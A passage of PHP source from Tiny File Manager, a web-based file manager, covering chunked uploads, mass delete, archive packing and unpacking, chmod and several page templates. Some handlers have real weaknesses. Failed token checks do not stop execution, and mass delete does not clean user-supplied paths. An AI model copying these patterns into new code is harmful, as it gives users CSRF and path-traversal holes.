        $response = array('status' => 'error', 'info' => "Token Missing.");
        echo json_encode($response);
        exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array(
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array(
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response);
        exit();
    }

    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal) {
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array(
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array(
                            'status'    => 'error',
                            'info' => "failed to open output stream",
                            'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                    );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists($fullPath)) {
                        $ext_1 = $ext ? '.' . $ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }
            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array(
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array(
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach ($files as $file) {
        array_push($sanitized_files, fm_clean_path($file));
    }

    $files = $sanitized_files;

    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }

        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if (FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function (&$x) {
                $x = ".$x";
            });
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple />
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook">
                            <div></div>
                            <div></div>
                            <div></div>
                        </div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles: "<?php echo getUploadExt() ?>",
            init: function() {
                this.on("sending", function(file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function(res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if (_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
<?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <div class="card" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input">
                        <label for="js-move-files" class="custom-control-label ms-2"><?php echo lng('Move') ?></label>
                    </p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
            ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
            ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a>
                </li>
            <?php
            }
            ?>
        </ul>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l)
                                {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' " . getSelected($k) . ">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100 text-capitalize" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if ($theme == "light") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('light') ?>
                                </option>
                                <option value='dark' <?php if ($theme == "dark") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('dark') ?>
                                </option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                    <small class="text-body-secondary">* <?php echo lng('Sometimes the save action may not work on the first try, so please attempt it again') ?>.</span>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p>
                        <h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3>
                        </p>
                        <p>Author: PRAŚATH MANİ</p>
                        <p>Mail Us: <a href="mailto:[email protected]">ccpprogrammers [at] gmail [dot] com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if (!FM_READONLY) { ?>
                                    <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="row">
        <div class="col-12">
            <ul class="list-group w-50 my-3" data-bs-theme="<?php echo FM_THEME; ?>">
                <li class="list-group-item active" aria-current="true"><strong><?php echo lng($view_title) ?>:</strong> <?php echo fm_enc(fm_convert_win($file)) ?></li>
                <?php $display_path = fm_get_display_path($file_path); ?>
                <li class="list-group-item"><strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?></li>
                <li class="list-group-item"><strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?></li>
                <li class="list-group-item"><strong>MIME-type:</strong> <?php echo $mime_type ?></li>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                ?>
                    <li class="list-group-item"><?php echo lng('Files in archive') ?>: <?php echo $total_files ?></li>
                    <li class="list-group-item"><?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?></li>
                    <li class="list-group-item"> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?></li>
                    <li class="list-group-item"><?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%</li>
                <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<li class="list-group-item"><strong>' . lng('Image size') . ':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '</li>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<li class="list-group-item"><strong>' . lng('Charset') . ':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '</li>';
                }
                ?>
            </ul>
            <div class="btn-group btn-group-sm flex-wrap" role="group">
                <form method="post" class="d-inline mb-0 btn btn-outline-primary" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link btn-sm text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <?php if (!FM_READONLY): ?>
                    <a class="fw-bold btn btn-outline-primary" title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($file) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($file); ?>', this.href);"> <i class="fa fa-trash"></i> Delete</a>
                <?php endif; ?>
                <a class="fw-bold btn btn-outline-primary" href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0 border-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>
                    <form method="post" class="d-inline btn btn-outline-primary mb-0">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>
                <?php
                }
                if ($is_text && !FM_READONLY) {
                ?>
                    <a class="fw-bold btn btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file">
                        <i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                    </a>
